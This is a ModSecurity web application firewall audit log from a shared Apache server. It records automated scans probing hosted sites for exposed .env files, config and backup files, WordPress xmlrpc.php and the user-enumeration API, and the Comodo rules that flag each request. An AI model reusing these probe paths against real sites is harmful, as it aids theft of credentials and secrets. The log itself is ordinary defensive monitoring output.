p4=0, p5=109, sr=147, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --77dc7261-Z-- --088bdd31-A-- [16/Jun/2025:00:40:41.596634 +0530] aE8asFeqy5hRjKvJEAyZsAAAAAE 185.177.72.210 45004 127.0.0.1 7081 --088bdd31-B-- GET /app/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --088bdd31-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=72f0a5eb09a2c5c5700e045a997a20971750014641; expires=Sun, 15 Jun 2025 20:10:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --088bdd31-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/configurationtionura/.env"] [unique_id "aE8asFeqy5hRjKvJEAyZsAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014640916657 680052 (- - -) Stopwatch2: 1750014640916657 680052; combined=1692, p1=403, p2=1194, p3=0, p4=0, p5=94, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --088bdd31-Z-- --709e2753-A-- [16/Jun/2025:00:40:48.473962 +0530] aE8atwW_rlaNA7qLBTtArAAAAAs 185.177.72.210 45394 127.0.0.1 7081 --709e2753-B-- GET /:8888/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --709e2753-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f611dc215072a97bc3fffeb98769ecd11750014648; expires=Sun, 15 Jun 2025 20:10:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --709e2753-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/example/.env"] [unique_id "aE8atwW_rlaNA7qLBTtArAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014647718610 755415 (- - -) Stopwatch2: 1750014647718610 755415; combined=2177, p1=415, p2=1644, p3=0, p4=0, p5=117, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --709e2753-Z-- --af4df228-A-- [16/Jun/2025:00:40:49.458090 +0530] aE8auC7MaF0j8lD2KTIVJwAAAAM 185.177.72.210 45462 127.0.0.1 7081 --af4df228-B-- GET /common.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --af4df228-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3a075fbc04c9ac3ddb773140229f1f791750014649; expires=Sun, 15 Jun 2025 20:10:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --af4df228-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/common.inc"] [unique_id "aE8auC7MaF0j8lD2KTIVJwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014648797213 660945 (- - -) Stopwatch2: 1750014648797213 660945; combined=2055, p1=374, p2=1603, p3=0, p4=0, p5=77, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --af4df228-Z-- --2c595713-A-- [16/Jun/2025:00:40:51.477559 +0530] aE8aui7MaF0j8lD2KTIVKAAAAAM 185.177.72.210 43470 127.0.0.1 7081 --2c595713-B-- GET /:8008/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c595713-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ec3ca28bd8964da6d160eeacf2ac1bd71750014651; expires=Sun, 15 Jun 2025 20:10:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c595713-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.local"] [unique_id "aE8aui7MaF0j8lD2KTIVKAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014650775402 702241 (- - -) Stopwatch2: 1750014650775402 702241; combined=2013, p1=415, p2=1478, p3=0, p4=0, p5=119, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c595713-Z-- --663de72b-A-- [16/Jun/2025:00:40:55.575731 +0530] aE8avnsalJN_0-_70dLs0wAAAAU 185.177.72.210 43618 127.0.0.1 7081 --663de72b-B-- GET /:5000/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --663de72b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=240c33ab2f8590e2cba85f17e2862f941750014655; expires=Sun, 15 Jun 2025 20:10:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --663de72b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.txt"] [unique_id "aE8avnsalJN_0-_70dLs0wAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014654830537 745276 (- - -) Stopwatch2: 1750014654830537 745276; combined=1724, p1=369, p2=1236, p3=0, p4=0, p5=118, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --663de72b-Z-- --6bf98470-A-- [16/Jun/2025:00:41:00.164854 +0530] aE8awz3D4g1mGjVnV5KDkQAAAAY 185.177.72.210 44980 127.0.0.1 7081 --6bf98470-B-- GET /core/persistence/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6bf98470-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1eaa9352f82d19b28ab40cd6d8c6254a1750014660; expires=Sun, 15 Jun 2025 20:11:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6bf98470-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/core/persistence/.env"] [unique_id "aE8awz3D4g1mGjVnV5KDkQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014659497366 667551 (- - -) Stopwatch2: 1750014659497366 667551; combined=1759, p1=385, p2=1259, p3=0, p4=0, p5=114, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6bf98470-Z-- --eeba8462-A-- [16/Jun/2025:00:41:03.309817 +0530] aE8axiCwfN5GtQhYhHBBHQAAAAw 185.177.72.210 45136 127.0.0.1 7081 --eeba8462-B-- GET /tconn.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eeba8462-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cef370e5e59221acad3cb2a2858ef8f41750014663; expires=Sun, 15 Jun 2025 20:11:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eeba8462-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tconn.conf"] [unique_id "aE8axiCwfN5GtQhYhHBBHQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014662645250 664645 (- - -) Stopwatch2: 1750014662645250 664645; combined=2722, p1=504, p2=2048, p3=0, p4=0, p5=169, sr=156, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eeba8462-Z-- --ce90ff6b-A-- [16/Jun/2025:00:41:06.381422 +0530] aE8ayT3D4g1mGjVnV5KDlwAAAAY 185.177.72.210 45490 127.0.0.1 7081 --ce90ff6b-B-- GET /xampp/security.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce90ff6b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2b9c640abbcc40ac04785bfb3e967af51750014666; expires=Sun, 15 Jun 2025 20:11:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce90ff6b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/security.php.old"] [unique_id "aE8ayT3D4g1mGjVnV5KDlwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014665729958 651530 (- - -) Stopwatch2: 1750014665729958 651530; combined=2342, p1=406, p2=1755, p3=0, p4=0, p5=180, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce90ff6b-Z-- --4aaa2671-A-- [16/Jun/2025:00:41:26.131181 +0530] aE8a3Veqy5hRjKvJEAyZzQAAAAE 128.199.112.101 39122 127.0.0.1 7081 --4aaa2671-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4aaa2671-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4aaa2671-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8a3Veqy5hRjKvJEAyZzQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014685084801 1046436 (- - -) Stopwatch2: 1750014685084801 1046436; combined=116911, p1=357, p2=1617, p3=44, p4=60, p5=57452, sr=96, sw=57381, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4aaa2671-Z-- --49b8c724-A-- [16/Jun/2025:00:41:52.221556 +0530] aE8a91eqy5hRjKvJEAyZ3gAAAAE 3.109.133.103 33372 127.0.0.1 7081 --49b8c724-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.retaxis.com X-Real-IP: 3.109.133.103 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: _sfs_id=db3108893b8665b42b7ab8928b9929161750014707 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --49b8c724-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.retaxis.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Connection: close Content-Type: application/json; charset=UTF-8 --49b8c724-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.retaxis.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8a91eqy5hRjKvJEAyZ3gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014711075225 1146402 (- - -) Stopwatch2: 1750014711075225 1146402; combined=2154, p1=383, p2=1682, p3=0, p4=0, p5=89, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --49b8c724-Z-- --7fe3d948-A-- [16/Jun/2025:00:41:53.439057 +0530] aE8a-AW_rlaNA7qLBTtA1QAAAAs 3.109.133.103 33448 127.0.0.1 7081 --7fe3d948-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.retaxis.com X-Real-IP: 3.109.133.103 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: _sfs_id=2c213571798f94e805b4ddae272662671750014709 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --7fe3d948-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.retaxis.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Connection: close Content-Type: application/json; charset=UTF-8 --7fe3d948-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.retaxis.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8a-AW_rlaNA7qLBTtA1QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014712398079 1041051 (- - -) Stopwatch2: 1750014712398079 1041051; combined=2214, p1=381, p2=1725, p3=0, p4=0, p5=108, sr=142, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7fe3d948-Z-- --58368712-A-- [16/Jun/2025:00:42:26.687924 +0530] aE8bGSKD19h5xDtM-2wZuAAAAAo 128.199.112.101 33490 127.0.0.1 7081 --58368712-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --58368712-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --58368712-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8bGSKD19h5xDtM-2wZuAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014745743800 944181 (- - -) Stopwatch2: 1750014745743800 944181; combined=2144, p1=378, p2=1365, p3=40, p4=63, p5=192, sr=109, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --58368712-Z-- --a43efe33-A-- [16/Jun/2025:00:43:08.986981 +0530] aE8bRC7MaF0j8lD2KTIVfgAAAAM 185.177.72.210 53480 127.0.0.1 7081 --a43efe33-B-- GET /:5601/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a43efe33-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ed01aece19a9a1f048bc0f7a2ef0c5951750014788; expires=Sun, 15 Jun 2025 20:13:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a43efe33-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/test/.env"] [unique_id "aE8bRC7MaF0j8lD2KTIVfgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014788293277 693783 (- - -) Stopwatch2: 1750014788293277 693783; combined=2484, p1=474, p2=1872, p3=0, p4=0, p5=138, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a43efe33-Z-- 